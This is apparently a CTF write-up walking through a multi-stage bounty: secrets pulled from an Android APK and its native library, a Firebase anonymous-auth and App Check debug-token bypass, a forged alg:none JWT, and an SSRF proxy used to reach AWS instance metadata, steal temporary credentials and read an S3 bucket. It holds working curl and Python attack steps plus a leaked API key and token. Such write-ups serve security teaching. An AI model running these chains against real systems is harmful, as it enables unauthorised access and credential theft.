How I Completed the FAM CTF Secret-Finder Bounty — From APK Strings to Cloud SSRF
This is how I solved the FAM CTF secret-finder bounty end to end — an Android APK (fam.apk, package com.ctf.fam) plus its backends: a Firebase project (fam-ctf), a web portal at ctf.fampay.co/famctf, and a public EC2 “NexOps” monitoring instance.
Total haul: 950+ pts across static (APK reversing) and dynamic (Firebase, web, cloud/AWS) tracks.
Tools I used: apktool (via a patched secret_finder.py), apkleaks (docker), strings / objdump / readelf for native reversing, curl for all HTTP/REST work, and boto3 for AWS SigV4 signing.
0. Setup — fixing my static analysis tooling first #
Before I could even start, my scanner was broken.
0.1 Fixing <code>secret_finder.py</code> #
The bundled secret_finder.py (a static APK secret scanner) crashed immediately on Python 3.11+ with:
An unexpected error occurred: global flags not at the start of the expression at position 91I dug in and found the root cause in build_combined_regex() — it joins ~40 individual regexes with | into one big alternation. Several source patterns embed an inline global flag, e.g. re.compile(r'(?i)aws...'). Python 3.11 made it an error for (?i) to appear anywhere except position 0 of the whole compiled expression — so as soon as a second (?i)... pattern got concatenated in, compilation failed.
My fix was to rewrite any leading (?i) into a scoped inline flag group (?i:...), which Python permits anywhere:
pattern_text = pattern_info["Regex"].pattern
if pattern_text.startswith('(?i)'):
pattern_text = f'(?i:{pattern_text[4:]})'
all_patterns.append(f'(?P<{group_name}>{pattern_text})')One-line conceptual fix, but without it nothing else worked.
0.2 Running the scans #
Once fixed, I ran both scanners:
python secret_finder.py # advanced scan, decompiles via apktool, ~18k files, ~10 min
docker run -i --rm -v /tmp:/tmp dwisiswant0/apkleaks:latest -f /tmp/fam.apk -o /tmp/apkleaks_report.txtThe apkleaks docker image ships without a JRE (its bundled jadx decompiler needs Java). I worked around it by installing a headless JRE inside the container at run time:
docker run -i --rm -v /tmp:/tmp --entrypoint sh dwisiswant0/apkleaks:latest -c '
apt-get update -qq && apt-get install -y -qq default-jre-headless
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which java))))
python3 apkleaks.py -f /tmp/fam.apk -o /tmp/apkleaks_report.txt
'Both tools agreed on the key findings:
| Type | Value |
|---|---|
| Google Cloud API Key | AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww |
| Firebase RTDB (full URL, apkleaks only) | https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app |
| Firebase project number / app id | 674578159678 / 1:674578159678:android:775058d15777caf841996f |
These three values became my credentials for almost everything that followed.
[01] THE LIBRARY — 100 pts #
Many times devs put secrets in code and forget to remove. Can you find that secret?
I started with the easiest hint — “the library”. The app declares a JNI native method:
.method public final native getSecretFromNative()Ljava/lang/String;implemented in lib/{arm64-v8a,x86_64}/libfam.so. Literally “the library”. So I just ran strings on the shared object:
strings -n 6 lib/arm64-v8a/libfam.so | grep -iE "fam|flag|secret|ctf"The flag was sitting there as a plain, unobfuscated ASCII string in .rodata (I confirmed via objdump -s -j .rodata, offset 0x2f99, right next to the FDE has zero length / libunwind noise strings the compiler had also placed there):
FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}Flag: FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}
What I learned: hardcoding secrets in native code gives zero real obfuscation — strings defeats it as easily as decompiling Java/Kotlin.
[02] THE DATABASE — 200 pts #
The door is open to anyone. You don’t need a name to enter, but the room still has a lock. hint: identity is optional here
Decompiling MainActivity.verifyFlag2(), I found a Firebase Realtime Database reference:
const-string v0, "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app"
invoke-static {v0}, Lcom/google/firebase/database/FirebaseDatabase;->getInstance(...)
const-string v1, "flag"
invoke-virtual {v0, v1}, ...->getReference(...)The hint (“identity is optional”) clicked for me — Firebase anonymous authentication. The security rules probably just required auth != null, not a specific user.
Here’s the exploit chain I used:
1. Sign up anonymously using the API key from static analysis, via the Identity Toolkit REST API:
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
-H "Content-Type: application/json" \
-d '{"returnSecureToken":true}'The response includes an idToken (a signed Firebase Auth JWT) tied to a brand-new anonymous localId — no credentials needed.
2. Use that idToken as the RTDB REST auth parameter:
curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=<idToken>"
# -> "FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}"Flag: FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}
What I learned: Firebase rules that check only auth != null (rather than a specific UID, custom claim, or role) are trivially bypassed — anonymous sign-in is free and instant for anyone holding the app’s public API key (which is not a secret in Firebase’s model, but these rules assumed otherwise).
[03] THE VAULT — 300 pts #
The vault trusts no one it hasn’t met. But the app already made introductions. Something in the code proves who you are. hint: the token is hiding in plain sight
This one was harder. MainActivity.verifyFlag3() reads from Firestore (flags/flag3), gated behind Firebase App Check. The app ships a custom AppCheckProviderFactory:
DebugTokenAppCheckProviderFactory/DebugTokenAppCheckProvider(com/ctf/fam/*.smali) — instead of using Google’s stock debug provider, the app manually POSTs adebug_tokentohttps://firebaseappcheck.googleapis.com/v1/projects/{projectNumber}/apps/{appId}:exchangeDebugTokenwith headerX-Goog-Api-Key, and reads back a real App Check token.MainActivity.getDebugToken()— another native method supplying thedebug_tokenvalue.
So the “introduction the app already made” was a debug secret registered server-side. App Check’s whole point is proving “this request comes from my real app binary” — a debug token is an escape hatch for local dev that bypasses that check entirely once leaked.
Recovering the debug token by reversing native code #
arm64 strings came up empty for anything token-shaped — the value isn’t a plain literal, it’s computed at runtime. I had no arm64 disassembler available (stock binutils objdump can’t target aarch64, no radare2/llvm-objdump installed), so I disassembled the x86_64 build of the same libfam.so instead (same source, different ABI, and the host’s objdump handles x86_64 natively):
objdump -d --no-show-raw-insn -M intel lib/x86_64/libfam.soJava_com_ctf_fam_MainActivity_getDebugToken (0x6c30) turned out to be a 36-iteration loop (0x24 = 36, matching UUID length 8-4-4-4-12):
6c80: mov rcx, [rbp-0x48] ; rcx = i
6c84: movabs rdx, 0xd79435e50d79435f
6c8e: mov rax, rcx
6c91: mul rdx ; unsigned-division-by-constant trick
6c94: shr rdx, 0x4 ; rdx = i / 19
6c98: lea rax, [rdx+rdx*8] ; rax = 9*(i/19)
6c9c: lea rax, [rdx+rax*2] ; rax = 19*(i/19)
6ca0: sub rcx, rax ; rcx = i mod 19
6ca3: lea rax, [rip+...] ; -> table1 @ file offset 0x34f0 (len 19)
6caa: mov al, [rax+rcx] ; al = table1[i mod 19]
6cad: xor al, 0xaa ; al ^= 0xAA -> per-position key byte
6cb2: mov rax, [rbp-0x48] ; rax = i (unreduced)
6cb6: lea rcx, [rip+...] ; -> table2 @ file offset 0x3510 (len 36, ciphertext)
6cbd: movzx eax, [rax+rcx] ; eax = table2[i]
6cc1: movzx ecx, [rbp-0x49] ; ecx = key byte from above
6cc5: xor eax, ecx ; plaintext char = table2[i] ^ key
6cc7: movsx esi, al
6cce: call ...push_back(rdi, esi) ; append char to std::string resultIn short: token[i] = table2[i] XOR (table1[i % 19] XOR 0xAA) for i in 0..35. I replicated it in Python against the raw bytes at those two file offsets:
data = open('lib/x86_64/libfam.so', 'rb').read()
table1 = data[0x34f0:0x34f0+19]
table2 = data[0x3510:0x3510+36]
token = ''.join(chr(table2[i] ^ (table1[i % 19] ^ 0xAA)) for i in range(36))
# -> 8F76557D-A35A-4B51-94D4-D0DF98D79B55Using the token #
1. Exchange the debug token for a real App Check token, exactly the way the app’s own provider does:
curl -X POST "https://firebaseappcheck.googleapis.com/v1/projects/674578159678/apps/1:674578159678:android:775058d15777caf841996f:exchangeDebugToken" \
-H "Content-Type: application/json" \
-H "X-Goog-Api-Key: AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
-d '{"debug_token":"8F76557D-A35A-4B51-94D4-D0DF98D79B55"}'
# -> {"token": "...", "ttl": "3600s"}2. Call the Firestore REST API directly (no Firebase Auth needed — App Check alone satisfied the rule):
curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
-H "X-Firebase-AppCheck: <appCheckToken>"
# -> {"fields":{"value":{"stringValue":"FAM{4pp_ch3ck_byp4ss_g00d_j0b}"}}}Flag: FAM{4pp_ch3ck_byp4ss_g00d_j0b}
What I learned: shipping a hardcoded/computed App Check debug token in a production APK completely defeats App Check — anyone who extracts it can mint valid attestation tokens indefinitely, from anywhere.
[05] THE VAULT DOOR — 350 pts #
NexaVault is an internal credential management portal used by engineering teams. Only administrators can open the Vault… Target:
https://ctf.fampay.co/famctf/
This shifted from mobile to web. Recon:
/famctf/registerand/famctf/login— plain username/password forms.- Registering returns
Set-Cookie: nx_access=<JWT>; HttpOnly. - I decoded the JWT (standard base64url, no verification needed to read it):
header: {"alg":"HS256","typ":"JWT"}
payload: {"sub":"tester_...","role":"user"}Attempt 1 — mass assignment (failed). I POSTed extra fields to /register (role=admin, is_admin=true, admin=true) hoping the backend blindly bound the form body. It didn’t — server always issued role: "user".
Attempt 2 (worked) — JWT alg:none bypass. I tested whether the server actually verifies the signature, or just trusts the payload. I forged a token with alg: none and an empty signature:
import base64, json
def b64e(x): return base64.urlsafe_b64encode(x).rstrip(b'=').decode()
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "tester_...", "role": "admin"}
token = b64e(json.dumps(header, separators=(',',':')).encode()) + '.' + \
b64e(json.dumps(payload, separators=(',',':')).encode()) + '.'
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ0ZXN0ZXJfLi4uIiwicm9sZSI6ImFkbWluIn0.curl -H "Cookie: nx_access=<forged_token>" https://ctf.fampay.co/famctf/dashboard
# -> dashboard rendered with pill-admin, "Admin Vault: Granted"
curl -H "Cookie: nx_access=<forged_token>" https://ctf.fampay.co/famctf/admin
# -> vault page rendered FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d} in a .flag-val blockFlag: FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}
What I learned: the server accepted "alg":"none" without signature verification — a classic JWT misconfiguration. Authorization (role) was trusted straight out of an unverified client token.
Cloud / SSRF Challenge — unnumbered #
An internal DevOps monitoring dashboard was accidentally deployed with debug endpoints enabled on a public EC2 instance… Target:
http://13.234.116.174/
The landing page (“NexOps Dashboard”, Flask/Werkzeug) listed its own API surface:
GET /status
GET /metrics/system
GET /metrics/config
GET /metrics/endpoints
POST /internal/webhook (marked "internal")/metrics/config — a debug endpoint left enabled — dumped exactly what I needed:
{
"flags": {"debug_endpoints": true, "metrics_auth": false, "webhook_enabled": true},
"identity": {
"imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"note": "credentials scoped to storage prefix only"
},
"storage": {
"access": "instance-role", "backend": "s3",
"bucket": "fam-ctf-cloud-challenge",
"note": "bucket access restricted to requests originating from within vpc",
"prefix": "players/181", "region": "ap-south-1"
}
}/internal/webhook turned out to be a generic outbound-request proxy (SSRF by design), which self-documented its allow-list when called incorrectly:
{"error":"Missing 'url' parameter",
"note":"Only internal AWS endpoints are permitted (169.254.x.x, *.amazonaws.com)",
"usage":"POST /internal/webhook?url=<target>"}Step 1 — bypass the IP filter #
Direct 169.254.169.254 was rejected:
{"error":"Direct access to internal IP ranges is not allowed.",
"hint":"Try harder. The instance has a name."}The hint (“the instance has a name”) pointed me at the legacy AWS metadata hostname alias, instance-data (an /etc/hosts entry on many EC2 AMIs that resolves to the same 169.254.169.254 but doesn’t match a naive IP blocklist):
curl -X POST "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/"
# -> {"body":"","status":401,...} (IMDSv2 requires a token first)Step 2 — full IMDSv2 dance through the proxy #
The proxy forwards method + headers, so the standard two-step IMDSv2 flow works end to end:
# a) mint a token (PUT + TTL header)
curl -X PUT "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# -> {"body":"AQAEAIlolxdy92QssyKK2uoN2VpYjfF460HqWEB_pUbeCDykhc8WzA==", "status":200}
# b) list the role name
curl -X GET "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/" \
-H "X-aws-ec2-metadata-token: <token>"
# -> "ctf-cloud-player-181"
# c) fetch temporary credentials
curl -X GET "http://13.234.116.174/internal/webhook?url=http://instance-data/latest/meta-data/iam/security-credentials/ctf-cloud-player-181" \
-H "X-aws-ec2-metadata-token: <token>"
# -> {"AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "..."}Step 3 — bucket only trusts VPC-origin requests #
Calling S3 directly from outside would be blocked by the bucket policy’s VPC-source condition. Since the proxy also allows *.amazonaws.com and runs from inside the VPC, I generated fully self-contained presigned SigV4 URLs locally (with the stolen temp creds via boto3) and had the proxy fetch them — the signature travels entirely in the URL:
import boto3
session = boto3.Session(
aws_access_key_id="ASIA...", aws_secret_access_key="...",
aws_session_token="...", region_name="ap-south-1")
s3 = session.client("s3")
url = s3.generate_presigned_url("list_objects_v2",
Params={"Bucket": "fam-ctf-cloud-challenge", "Prefix": "players/181/"},
ExpiresIn=300)curl -G "http://13.234.116.174/internal/webhook" --data-urlencode "url=<presigned_url>"One gotcha: listing without the trailing slash (or plain ListBucket without prefix scoping) hit AccessDenied — the IAM policy scopes s3:ListBucket to the exact prefix players/181/*. Listing players/181/ succeeded with exactly one object: players/181/flag.txt. A presigned GetObject for that key returned:
FAM{cl0ud_ssrf_imds_6eb05138ca37}Flag: FAM{cl0ud_ssrf_imds_6eb05138ca37}
What I learned: three survivable misconfigurations combined into full compromise: (1) a debug endpoint exposing architecture, (2) an SSRF proxy with a naive string/IP allow-list bypassable via the instance-data alias, (3) a “VPC-origin only” bucket policy that constrains where the request comes from, not what makes it — an in-VPC proxy forwards arbitrarily signed AWS calls on an attacker’s behalf.
Summary #
| # | Challenge | Points | Flag |
|---|---|---|---|
| 01 | THE LIBRARY | 100 | FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd} |
| 02 | THE DATABASE | 200 | FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh} |
| 03 | THE VAULT | 300 | FAM{4pp_ch3ck_byp4ss_g00d_j0b} |
| 05 | THE VAULT DOOR | 350 | FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d} |
| — | Cloud/SSRF | — | FAM{cl0ud_ssrf_imds_6eb05138ca37} |
The through-line of this whole bounty: never trust the client. Native strings, public API keys, debug tokens shipped in prod, unsigned JWT roles, and an in-VPC SSRF proxy — each one was the server believing something the client told it. Once I stopped asking “is this allowed?” and started asking “does the server actually verify this?”, every door opened.